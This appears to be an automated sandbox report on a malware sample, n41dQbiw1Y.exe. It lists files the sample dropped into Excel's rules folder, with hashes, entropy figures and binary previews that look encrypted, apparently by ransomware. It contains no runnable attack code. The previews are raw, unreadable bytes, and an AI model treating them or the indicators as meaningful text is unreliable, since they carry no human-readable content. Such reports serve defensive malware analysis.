Preview:	<?xml.+.>......E^..$y.....-..7....:,f.G'=b)... ...;..".E.( O.Y.._.'s..;.-.3......7..@,..P.fl@)i(.I...8.\..}..6.rF..'5. .q....t.^.z...y.\V.[....}DD...~......o.1.8k..r...~.d..."..T....wG..P..X-y..pr;2.UZ.Uc..b.UG;a..l.I...A.#.Bb..N.E.-.:.0..,".].5Sb~.. ..<.z=..=.....oZ.3....S{>\..,..Xm]....,.....S.[..V..q..-..5..j.l..!......IX.d.w.....u.hg..h...l!..i.......wW....1hv..i..&....K......DSa<z+H.t.Q`\|E..f.v.....5{........].~.4.m3..th'.i..<[}..d=`.(L.;./.ws.7...9.ofA.}....7r.k7....L...U.>'g.g....k:.....=.S.d....A..\.WNh'Yj....eA..{.........P....z.../...W.;P......:I...0.<...T.M.........;j.........y....;..Z.....T.&....R...=f...x........;.... ..,'...,.B.%...)~.).J....a?.aBU.:..1A)..0.`.c......q....Z..<u..d.d].=#..'..E.a....El.5....a<.N....h..y;x.....^.....#.Tq..~...._.9...=...c....KlNORp..p...^...-i.;l...8:.-.d3.5M..m..)...(.........6...{..K.\|/.9...U!.."...-.D.#..}>8..../5'R...0..U....G...9~BB...T.`$;. ...N......n..-H.9.h././../G..V2.c...3..J.@'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.806366925535109
Encrypted:	false
SSDEEP:	24:1NWABpChX0vzSNxgvd3MCxeS1H2sQe6dh8hyITGniuxUCUbD:13w0ONxe3M+JPcdh85iiuxUPD
MD5:	058AE3C21506E8E64EB3809DE648C8C1
SHA1:	30CB3CFAB6F8A4D20B923F1DCE6EC44AB4742913
SHA-256:	ABAC246542B1B1F9DF8FC635C599053B93CAD3F072B4F255EA502CF310DD70A8
SHA-512:	F04B285D76F48038852BFE5A35A603F8D86D659395D79EFA6345C628697B6FF1886AC51CDA0F009EF41C55317452FD0CA9CD656BADCA1D9CF48EDB001DACC2AF
Malicious:	false
Preview:	<?xml.G0.(t....2.........h.J.:i.....s...x7'..#.l..b.$.%./...........<i<O......Tl..%....`Yy{...r..l.I...;.t.....f.#Z. ............ .$.....o<.{[.8..t.+.5.:.u..1-z."E..}@.V....#,.....3.8.1.h..}.@(.....3.=..;..2.q.....n.........@.5...O.....`.@@..D..k....O5.QN.C..?+...Ym...W..,.7q......m[...LH....,..X9k.....=...'.W.N........".O..ws``.......:U....s._l...Va=...6..1.E...ff..W.NA..m.<W..X'k...Td.k............8}...d..1.j...R,../.N.z._...FZ...OS.3...q..........h...`...@L.2...Y...........e....oz.......L..A]....Y..!.3x...6.J.....&...B.D.4...x&.....N...E.[.d.8ed......*..^.$Wve..%]z.2T....'.~..?....%...A.z..).._.......`...x\|.sy.?z-e.....&......N...=...L-....z_.S...(?gd.....26.H.....A.L.......`.b\|.!..\|t.....r.5..m....p~..i.R........^...7RL...]3l.Lt..l..S'...i.w.....m,.....N.u..3U...D.Y.@.y.')B..V.B...\|....Mp>._5..0-.m8..1o.B.x...z....[........u..OC.m4O..../..T....".gu.Yf..i..?..g..^.W..;..Wn.i...........B......}....3\........v.......U...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.791762531589208
Encrypted:	false
SSDEEP:	24:Vbab2N3XfOXlbnB65//mgVxJ/CD3aFVe7NIJ4iPvXdoWSbD:Vbab2NWFanNxJ/CWFVBHHmWAD
MD5:	2CD8FC983A97452DA318C3077D666109
SHA1:	9ED053E279252F50599A4BE16593245CAB56E051
SHA-256:	FB23CBC682BBC71E44E550B21E0C3970487A6E0EDA45DCDC688DF9060633B320
SHA-512:	3688A915A123F59C75A1EA74D2EFCCF0BC83ACD11DF5DA1C838174AD778DE1CD16245F94A32969C942863C182ED77DB037638FCBE4F25991B107662ADE3C9243
Malicious:	false
Preview:	<?xml.N.!.@.ib..v.F"..a.eY..@F..lg;^..v..Ge2.....R..v.\R..q.8i..].....i[R.]@0............aN.S1..X.G..8..)..._.\|.Y...^"3.z(...,./KK.&_......E........E6@P...7F[C..W#...S..........."Z.........,.,.O..J....vK_R.QL.r.W..C.K...j..B..EL......m.z......{.?.,..S.(.&.~A.\.R.K..l@....g)..Xw....-..%.R.W=8....e^@......C....F.......V[=.@1J.5$....W.#P. !S....Q,.r...3a...-.0@..P..b....s:...'.....ut[.t95..Q.v...i..t^.D.{.-[9.....l...Q..L.........7.j..V-zm..5.H..J#.32@..,LUcC..)..uK..i....N..K...U..CS......@G..5....Fm{/f=M......YW....:5%rR.Q.K......`Mr....;..[H.:.F"...r-.r....{.>..p..ui".}.<...P......o_....G.RG(...e.....7....).k .SS.*[4....&.&...fV.%...j......`..u4x..f..Ua.s..a.;.^#..4......r>.....f...y...Io...Z/...>...&.....'...#....;B....aZS.JHJ8......VA..x..why....$_..D..Mgy..?.Q..V....F7?.!U...8Y.9J..>..[M...G_.......s[]\|.. .}....o..M...z..j"..q.Wg.6...`...7cV...i..+n).~.....6..+Ah....:....! .......B..j~...s.Qrb.h.......>..Gs..s.....XPGQ9Dj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.781786942005389
Encrypted:	false
SSDEEP:	24:ku6VY9jFu2Zc+PzymBgleDsXAQ+CTMdE/fc7V52g5ggiEuRWZrybD:t629jQ2Z3PzymBgleYXAQ+yHc7VERgiP
MD5:	47A5AFB1090B1612C1A2ABACE9ECB112
SHA1:	C36E8608AD3A0F81C0357CE824FF981CB0CB4EBA
SHA-256:	87D668B45A36D780C51165B8422753B2588F8BCD30C5EFDA5AF57CEAA81EBAFE
SHA-512:	5224351C32AD4291EC78AA27666499E7F20AD0A27268009AFA49E7004560348FAACC86E18FA704610DF9488E6D6086CC7925EAA77B4D2B3BE7D5232578496168
Malicious:	false
Preview:	<?xml.....1.?.N........$..?1g\|......r/7.U.:.%.3.R..=....ok..[.U.@.w....d(..-...0.-...,..5/"...tj..x%..;.....N.@Ah..PG..Y.4.Iy....f.S7...Uqu..0S.....8S...Q.D....P...9..y.....2Ud^.k &.P..4..l.....{09y.'YT[.l.."...Y.Z...@.......1....`.....'...~..S...H.0..c.....u..;....Z........a.!1...K.....`.2.1...9\HJuI.......Z....._.......#..6...E..ai..o...<..~w.kID.t... `.Jj...-....$^.G...iK.F.......v.._t6.v.g....x..uq....._.0.h:.!ew...f.B....f@o.$}......>....K...Ht@B .*\|X....Q(..8...=.S....c;.=T`vv!.^.x..g...E,1.Aj(+...i..F\|Zo(..y.\i.+<,W..).....S......{#.#.h.f@.~;..."S..1k..g..h@i.....6.f.....6=..zy... ...Vu.D...p1..X.#'Xyj.6s.}n'....Xy.(...T}zU.`.G!a.....B...:...J..s~eep.......s.9(....7...G.#$.I.(..V.Y....x.9:k..q)...7Y..\|Ij...s2...?....qff..']e.e#..(...%.....'T...a...../#(..>..,F}......A..H....p.)_.:.F..K.../..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.78260855909063
Encrypted:	false
SSDEEP:	24:T65BicXcaYuhkHl9GkwmdbQT7bUnWbec7fAjjwbD:TCBtsaYMkF9Gk/bQgWHbtD
MD5:	3C7A4688155456D50CB316273F79F666
SHA1:	13887C36AE1304DE6B3457B732155D6419D59347
SHA-256:	87572EC651CAA9B25D482B8BDFE5F1F3E2722A62897A6963B52B8F336D262D5F
SHA-512:	8DCBDF559CDAF6D46200A766D48C1BFBD788C5EFB14D5CB0DABC435E9D92354BDEB43289DE199F18B93A26FCD0F8B27F37D929F8CD0033E934042FADD7BC89B4
Malicious:	false
Preview:	<?xml....^kl.............A.-..D...~.Id....z....M^..IZK(B.S1.+.V.,..o........LvT.Y_.{Y..%Y.....@.$F...(.Y#u#}&.W\....;...e.E.~..F..9u.ji.6.9.[......9.U......../!..%...a.....,..]....k..o.V..I..L.H..j....C..'......D..Cl.g.z.F..........ju.........>TYL. ..J}9...Dk%O_L......D...J}...m+.{E...H.!~.M&O.a...D.6.Cd....<.G25.FA...Y.......n.'...b...r...W.C:A.#._........j..%VP0...R@y.n.p..N\...[e6..,49ga....j.......q.6Z"t..3....a2...........p.ZFb..=..M.\.".'.. j.]..<H..6...,..O........KCv......2.t..M.......?.5..~r3.U.....J.._V../..U2..vx.35.<...\|..N.ada..-.?#.N..8f...B\|..}...%+....;)"...u{.S.(..8.L.1...z......z.......P.U.._...._..#..im.......y..e.....7Aw)$..65.5.x..,..o.1...WX...n%_...<..<...j...i....M......9.....p.h......+...e.O..5#...+n.(...a.pz~.V..#..J....&....q^k.y.,..f.}..w.\.wX...sr^_..@.0D.Dt.........GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.816909445600139
Encrypted:	false
SSDEEP:	24:NPS0x30hi2ZK5dGWPDGxuL+USAoyuGDGDDKMjbD:NqciiFfQxuLEAzuGDGXLD
MD5:	8A101D3BF61A8F81F62B8BB8E2EE4868
SHA1:	750BD8245F6335399D4C1886564CE57C5413BF91
SHA-256:	D154F85EDB6A060824F1E0100A23D216498AD3D8EDE8B3144922506FCF825220
SHA-512:	101734F3292BC38C57737AC715C22FF45E9D5310E4A2B4669641FB2285E25A49E9C03A738FC6E250C8722DF6D59F0D304B22398DB7D8177CCA4B4B57BF954343
Malicious:	false
Preview:	<?xml4.E..d......\|).=..-.....@.b...W.G+x=..H....gW....T.e.... ...ghu1XR.G.....JA....c....Md...x....U..o..h....3....q. .\|....&CF......t42LI-.N...a5..........~...@..uU...&..@9..._...'....... x1..D.m5.}.p....98\|:1..F.. .....]F...6.!...AC..YI..p>...A.r..&.I....].6_....f.....o.9.k.9..}0...o)...8Z..{ty,m.PZMK...4d.?...;.l......Q#Zq......q~1....#[ZI.s..RNLk.Y.7Ui..S...XS...WQ.7....+...rc.....;..2.d@.J.}Q.......:... .....N\| ^...vM76W.U.%.,+.\S..nX...M...NpGk......).D".^.&......@..P...j:z.3..7...........).,.X.Z..C..S.QX.s..v.....uUH.-=.k.qj..;..J.).[.wojh\|..U....'.V..[..e.}qp......vV+Y+...{..+".W..Z6.t..._B3..x.n...Yx(.4..[......n..1%.].a&.&...my8.\.(..y...,.9'...[%;'lh........t3.....)m..@.V/.....e?0.h..j...J^..Z.#s..>..LM.vl.[xv..t....<V..>....O:....,....<#*.z..p.._.:..K.@....v.c..\]U......f.o.oJ/%..C$...2.........d;GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.750715539627851
Encrypted:	false
SSDEEP:	24:Qs5Opb6CicJFmlkBmp/9pr/9S0FDSh52mpYxbPf/ewkqho2bD:V5Ab6CA+C7rVHFDSh5mxbP4aLD
MD5:	E6C1D727F195EEA4F5A671B8D8146C48
SHA1:	9AE3ED607B5F0D740C54D639045DD74AED5D93A2
SHA-256:	BFE94F7B4AF7B5D5C65EA1C38AE99BEF41B9EF9C49BDF9A861A357EB301DC5DF
SHA-512:	8C058EC25EF5B4834352C7A921C11A38FFD117EF711685266B54EF921EC9E8DC010671B5DD82D986193E9093105B844994B4B8C3408B1187041974B0D903A98C
Malicious:	false
Preview:	<?xmld..=oIQ.h.Z..;G...eSU.UVb..#.........uLb3.a..`M..\......Z ....9....`?.F.x.~\|..C....U@.....1..........8.1..U..k=qkx4.B..B.5%...@......'.X...x.KY. .'...YP......&..(...Ht..T.?.....\|G.@,........m?M...._.......$...6.&\|G$.\8.....h..I...J\$...Q.D..$].o}$!.....b......n...!..<{u....0.-....2c....K.c._..,....Jh.D...Xz..v.... ...2..1z.....c...7.%+o_..Y#.T.....8....qs..7.....c.2...-.k.F.~...%k..E.....#.y...!.Q.=....u.....j.s~.X.....`.b..:...)Kan.x.._..d.../...C/..`..5~LcL.....t.@._.D..(..{.s...hu..........#.&'.b.......l].+..`9.#.#i[gv.q......4..u...3].9.\.j,.mg.{.h./X.......Sa..w..F.G'...4..B!y.....g..6pF6...Ik.MOR.t;.=K=..'....E....(.r0....Y..<.".p..!...8#....)..L......J.......j.S.+4.U.''..F.lZy.L..9g.g`.Di.......T..za...PO#.A..j<%....!O U\|A..M.;....,cC.....$.y...2c....\.(8!.$.)...kF..&..,5.[..H...&kQ#.&.v...&XUGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.771034606483846
Encrypted:	false
SSDEEP:	24:hKFk+nukjhSOmoIHoox/cpMsVXvK/zdZcaZw3gGlCbD:hKH/UHoox0phc/ZeLQdD
MD5:	2560D08D39401022FA2C1F92DBE1FE2C
SHA1:	990F8C33E6D5BC8AB3B3AD16BF5C7F603966A5B1
SHA-256:	76232BF3433ACC088E02AC2DA0F516378679BA2CBA00EA85CB0511066A65072F
SHA-512:	20743AF2E1608B9C2B45A6FAE87AE4FE06A7CB823E8ECB49AE181E2E90D4FF701DB091A301E1BBF2A50F364D049E1055E19C0E9DFF68BF2D819E24554755E57C
Malicious:	false
Preview:	<?xml..F....y..B.."_....C....+..O...i..].-tk..V...UT;....9....4....~.....=uP....8`..P.].7g....qu.fNp...'{....XD.X..1wL.....U..1...l.6".......[7.3.. k......$.v.a...h.U.b..!L{S.n..\|.^.}.Y...$...3......8"...^...t-,.....n..M.....&bd.\..,.8.........7_A..Q$2`.T.\.-e6.+.-.hB..LfT.:.X...v...F\|".R..vNh..V..4.....k;..h...5...O-..~..Mr.oa....X._..}.....0..........t..X.....~.@...h..W..e\|....T2."..Im.........UU.w.(C..kj+}.tN.~.k.bZ.....ic.]..0y.U...[.Z.....=.56..<.=.5..S#..k.\|H..$.f..[BFK`.I.......w..d......$V...`.!cslY.".]..C....K\.-.,E....~. '....N/.2..t...q=g0...{iO..Dr......EZ......z7...48.[`..C(.Z!...0...?.Z..c+...#w .l8..?kh...=....b.>..x...`.2..f..x..2........D5".l.....5&.ea..8.<..(z...\|^..1W,\|....aY.....=..o5!........K.P......$.6...4X..4.Xw..e..j.mGJa.....o6S..P~DX.D..6.}f...u.n......<..i...f.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.790020300698398
Encrypted:	false
SSDEEP:	24:e3YU9rRktgF3Wfu+YWNw7A/mmeW7LcJPK+3prYc44rbD:eIAkOF3WMWNw7v7Wc0+3w4PD
MD5:	066FE51BFDB59BE4494D1846F8388F19
SHA1:	552B22B26756F8414DFEA5C2B41B771C54562B86
SHA-256:	66C186A5D7CD56A9BC0746EE99381B1666E037258BE7FD9E432A5AD1DCC28BF0
SHA-512:	80660BBCFD73475A0FD6ACAB90DB841C226B7FF86CE551B72CF0FDB16BB9A08F8247E17D39855514FAAE2F449CA5D7B81B4FF3DD5784910E3DFECC5C052CA35C
Malicious:	false
Preview:	<?xml.&.n/..{.[..nK@n.....-.P....Kw.N.!.pmf..M...r...D]9.x...q.[M.z...S.j.;..j.#`m.^...........}..A.1n..i.J.....=.9:.^I.............L.......6..KC..G..j!....l.t.."N<.W.r..$..'..o\|...WrR...Re....x..z.E..+..?.C<Wg.-...Q....)..cB.q...#<~ff.G...S$7..c.cs.u.:............!S~,z]Q.@1.T.}..W?.@9....;......&Gjc.f./.SGlH.'9U(<.AV.?}f...e..).j.0d<5.....s~..]......1.Rc....d..mLS.k.\...a.(.!..p;.X.............+w.....a..r.,..w..d..F..\|.-.,D.WCN.k.]....A.....F.....L./..w.R......1.fHh..\|y.....#..s4x4....\|b.K..98.9...q.......C.+..5..h...08.H..`4.b*.87..Q...r..4.Y.....S..u.........xWR...........Z..e.8....7Z......w0............q\...p.).D...k..BY..,!.c..... ~U.0.\|..b(T.0e.T;.h..%..o..&.~......c.Ft..7....j....<'by.M.\|(6+....;..{3..I.).eE...{...[...f.._.S.....E.l.9.v.#.$..2\|.\|.H...n.....0..q(; D.......f.]...H9....\...}=...............GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.772420435715856
Encrypted:	false
SSDEEP:	24:s9/lf54yhVpIVRnVi9qUvcdgzOU93UF02bMhNTbD:IVWyjpJ9qZgzo62bkD
MD5:	152E9AD43A21FA873BF60ED6C42F02FB
SHA1:	76B0CAE81B3383A19F22A8FEED43FB98F5024D55
SHA-256:	1CA4C9B609AA04393AB8B38E009D244ACAA0C2F666D6B13711E5C2A1AB090F74
SHA-512:	AE61B5AFAFF333850EA5D5749B58D1765A934789D7F53D2E5F5A47CF194FAA6DD7CBEF212FBB97D0F13045AB18EB22AE58A0505053A770B532F265F2E05331CF
Malicious:	false
Preview:	<?xml7....Jf.#.fvJ..w...o...L....;.<!.....\.Y.....B...<........../..7r...$y]5.M.L...Y?..7.d.\..ZM.....`....tG... ..,\}.......:.....n......2gI...o......P`.5.9r.qB..h."..........W.:..C....\.i..c....o.z....c.4......8...d.['...$..\|2.3.T..A.$.....>.X.>...P.O.....t_.e}.^7.9.!..q.hcg.S.%p_-...eg.+E....$l....Dw+..L.0.A~..m...K..-.....(3.Q.W...4J.k`.._...$y>R..QgI.......c..7.+...q.6.e...yQ....cMk..e..X!.=r..@.4..F.....p.V.DC....[)d:.@....A...H1.O....p...w7......c=..k.g......Qo-....E9#(.dP..%.....0Z..I.......24.....r.....`.z.I...N$J(....)..l.{.sH.D......8...f.7=....6......s......lD.F...B.&{..._..;.O....6Q+g.xt$8.....`...E]..^. .q]!...qTp(.\|f...G.4.,l..z=V!.H,..J...(w3.KT.IB.jT..8DI..jgb.^.cG...d.....X..F..$b.s.#.B.b0...d..r......;,....NB)....!.e....=.Z....r6%P.\.h..4.."....~.f.7....9.9........t.$D.K.q...].....h3..W....k...N..i.........fi........{h]..`.Nmz.......%.-LE)..N6..L@...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.8639128466558805
Encrypted:	false
SSDEEP:	24:eHWOHKNXqjN9cyVFEuxfll+qQbVSST34UwCq6zxIrRbHoMYOD72oz75jq2bbD:FVMN9cyViukxTkUMfH37Xxq2fD
MD5:	904B3D6D666E19507BBEC9B93036B372
SHA1:	0543419F190A8F420BCB25F5B674C5D1A1D07A2C
SHA-256:	C05EC5E1D676DF2EB0A135165AA873F8705EC0EAE58E2987C318E0E4EC76227C
SHA-512:	D2164D922BBE9AB8039A7C92C6EE5B52E58E10B66EAF27FB9081689C646678C5E5BEBF1A341C974841D49953326A820E1ECC6B4DFDF61A9D98BD627A8EE94D65
Malicious:	false
Preview:	<?xmlr.....`j._..A&jc..+..U...Lx..c....i..._.v.[b.:....E..\|f R!.....c.5...d0.x......le.y..K.....hG...=.<,+............6{..]...m.2K..l..._...?s.}c...AM.;W...........A.\|S.ywW.. ...\.-H.Vm..N"7V1Z.+...:...a......f.....!O:.......x..5..<...I....T...Uo.G...p.@.d>.1.\|m.......>;...-.wq....RK}=.wD%g.7.Xen.e..3..R.a\._..5.;.g..s..W..=.Ss3..T.h.B%....t....5........2..m....}Y..3Z..-...7.......+.........8r.K'.fr..z.Tk&,.".GV..g.!...b{....c..:U...=K/...9`...w7..OD...a.....vc.....B.6y.%\|.........)W.ew....y4.j...+o-..&....7..,z...d....^&...S....P.q..Ia.p;.Z...).'.An.g4.....j".Cit\.. .P...9...(e{Hc.^/..W5.k........%..8..-2./..T......^.].....G.7.o.+.I>..:.k..z..s..P.#..j....>.q.Tg.....1..`..\|.-..4....^+;.._:..V.k}.o...O....f<..G.C...P.".k....@hu0)j..&S..'.g\|..:.37.38.u..V]#..-......n.Kd....`.(.......T.#x.in.J._S]u:.+...m..@u8...H._.yX..?"g..^ ..].R.i_...V.]O..KY..iF....6`ME.X$....)..)....A)ST....gA......p..gD.i.E}X......"..b...Z-.....8B.4..\.5.z.U.....g.gJF

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.840148742205836
Encrypted:	false
SSDEEP:	24:gesMKB+5H5NXBnLUCXeXSmpilGdMntAh6wecYEkTFxasYGJ9/pbD:g+3NRUCXeXSmpfIdcaTHasLJjD
MD5:	97CA33711A85DE6A5362DFDB1BB733EF
SHA1:	6E5E37E431A99C218972BE4BCE107C0AE9678953
SHA-256:	D529946D9F04DA759498C0B525DF949C0335D589A610DD26B76B45EB233C2942
SHA-512:	C0ED846AF87FA7717DBB1937AA310D462372C5DEC789BB6855601E24FD9847D0A58DCDB6AFF84F72F49D3212D3BAE5829749B5A0D6351402D7AB68357D0515CF
Malicious:	false
Preview:	<?xml].......0I....T.,)..l...+.}$.Wd)<...5K.>..#!1WC....!.l.8.aW.I............d.-.j}..0..y+5A...;...\|.G.!.mI...n.L.].1.m...f6..)..7o.....Z....]...17.w&....rB....<y..-1.b...2.o.....4B...s.O.A.....e_[9._U..9M.r..S...... .U.I!..G[.!....$P;w....s.zm&.....u.!...3.F..#9...Q.? .&.\|..f.. ..8............k..oyAG.<5L...'g.....E...K.......Z[....F..\...../.k...r9.........V..Z...--.j.._.+..6.(...#;..q....g/....0r/d.\.J@1^t...K.v.'!B\..w-lw....&..T7NO..t'.....JZMk.TY0..u2.N..@...pej.@5>....dt.......R.. .X....N..\.e...e..$.pY...v..5.~...H....~.8..-.).Sa<.).L......`J....B.........;.^....../.~w.....P%.i..\}..eN4>Jl<M.buX24ns .i...gl.=Ep....{[S9f.2O.IDK._.n.9...=..[.NxL.A.r.{.z..j...<r7.Kx..8.....W..N...5.........D....;..........m5@...".%t..;'5.....ZC.F......V...y.:.....p..>.y.d....h._^[\.$...F.[r?...\S..@.k....._o..$...x.f......NjAx.C..$...Y..i.>d+..y.*...)...(......6.={..2[(..F)....T.5.g..V...f]/........n......4ol.0_:T...0/A{p....[D...V8...Q...2p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.83578496031709
Encrypted:	false
SSDEEP:	24:ONdjodMptQXP5KKHklaNVUUaa4NoU7UGZaf7EabD:ONd86piHo64X7Taf7XD
MD5:	029853FA1286F8F4600EC94D5B74413B
SHA1:	D61660683DE62EB7E46C28BBCF575A7816121F22
SHA-256:	C215D48A3C11BFEC7001DBBB65825BC38F61B58995E18FE13431D53EBFCCD7FB
SHA-512:	10FBEFDDF4BE8F5D344E01576E5D90A6ED05223CA4230A83FD7AF7759E9599C90750AB108225591EC331DAFA9C8A23C0E5D18C50A629DA2116BA3EF946FCD7FB
Malicious:	false
Preview:	<?xmlq.._.5......G.......^'V..#.:..g........3f..K++j.4n......O.GBv..7.X-..P.q:.K....V.]..8....;...E__...h.u..............~.+..b....oQ.."AY.G.w.F9.#.2....9.............;.e..n....XAC..#U..%gBJx}......%...#j......X.@.....=..a.\h..(.....TZB..oX".x.AD.;..OT4...]. '.Y..K..(..x.....L.B.B.......{.`...w./......[..`+wM......g...r...S..I.w#...91...... ......;..K~G..r.....a.\|Y.v.% @r.{..n.....J.~...r..P..Wu.X@.8....Jo..EO..p].WU..........o.X...#aS~.X..>.TE....p%./..o.AJ..U...Y.z"........0...].....v.v...q...Y..L..@....H..}....l5...i.......W."...]....j....&......d.....K.Cc....a_$CoB....".....B.Y.,..../#p......y......W....VD.... .M.....-.T..w#q8o.D.....O..=h....Y.._.= ..G.R..........[...c...4..N7.....Z.2..I3..2K)..O.....M..........7.0.......Q...[.;N+..pB..`mW...y..$.S-. 0..n....>M..w5..`qo.. .0..m..V..p....k;....LC.....j.&.U....Gl..6..(.`b.....(O..IpZ..V...^[.......e8.1............p.......).E[.....M.+..)H..c..pG..<GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.832837797604686
Encrypted:	false
SSDEEP:	24:KpT8ZjD7FRZ7YV74M+LgEnSNAdQBSHC8e+RHqWuF60m0XmOsAw30ybD:QTGD5S890gecV0XrLwEgD
MD5:	E54A42806110AF02C1DE25D0762005CC
SHA1:	ECAB990841B28CA2592E0DF0E9F04881520CAC79
SHA-256:	E79373897E83EA64D8FE2EDF9AEA6AD598B3A03CD4B10CA0A2BD1FFC999DDD8D
SHA-512:	6CBE4690C55BF157BE5783A71E89515E6E0570C057901BAE740FD1754618F28E698C203765EB580EAE9B9B608219952BED4EC1991295AEE6CD9C9528E74CA1A1
Malicious:	false
Preview:	<?xml&..w..A.!.NI~.7)V.....+B?sN5..;}.....g.$.j.....#F^.....vYB.cU...Y.ewh.rj.a.pY{(LC..f".....b..j.Wd.." ...j.)....^.(..0...=?...........j...4...^.X.j....\....`m.h....V".........i.C.U..?.3I..0..R4.......x..a....}..ah.D...v.<.....o{..........!...wF..$U..7..<.....i.b.w+f.....x...y......g...CdO....U.x.e.Q..gv...h.Y./efZu.4...5...4Fy..>/..C...Fv..Y3q,....1..$T c.cBg....a.r.....<.U?J..{..o./.tw..1.......2N..$.Vg..j,.m=Sh........-p:.....g..+@YTkq..law.....8h....<....o..ZQ3.S".C..u.a .A.q.R.........-....$W`(.....)..Q....G.:2y.v!..}2.J;.S;.~.Qs@k8HA.g.y....m.......F..)...r...y[.<.da.m....~..q...EV. +...G.....n.g.m......z..q0....%.3ePZ.t.>4k9.......d@....j....C!...>y..=T......{.,.....#.....L)....,e\|.....x..n!M....-:...gu...p....~...*.....B.g.Q0c7.....)....n...!$..p...(...........UN.5...@..q...4.....gC.;.l...Et....'.....y.T.b.....v...k.H....#p.e.Y...>..x ....i.S...[4..&...._O"5.i...@$.+.d.A..E.o........UZE...........G...%......&g..r"E...P..7_F..>..]s p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.973405054193091
Encrypted:	false
SSDEEP:	192:KtacGkYkEm6mXpmflOyqWYZiuloFVlfQRN4dvC52F7p7Y5AX:Ktcl4Se9loFTo3465ARY5AX
MD5:	699E72437A216AD9D8ADEC398375789A
SHA1:	BF5A7064ED61E1FC4CBE424D6B37C395CB8DE5C8
SHA-256:	A8FFE38C9F83BF806F122569A284BB7A4AB22940652C6E4317F92B79780ED974
SHA-512:	B408D0FFC989A6CCCF02334FDC7E1F9E4B2015F8EA6037E4C46134972CC9BB18416B0E445E89C68C5797F6C1E2D89B89F0BAD5D6A209EA98C8B835F598BBF9B3
Malicious:	false
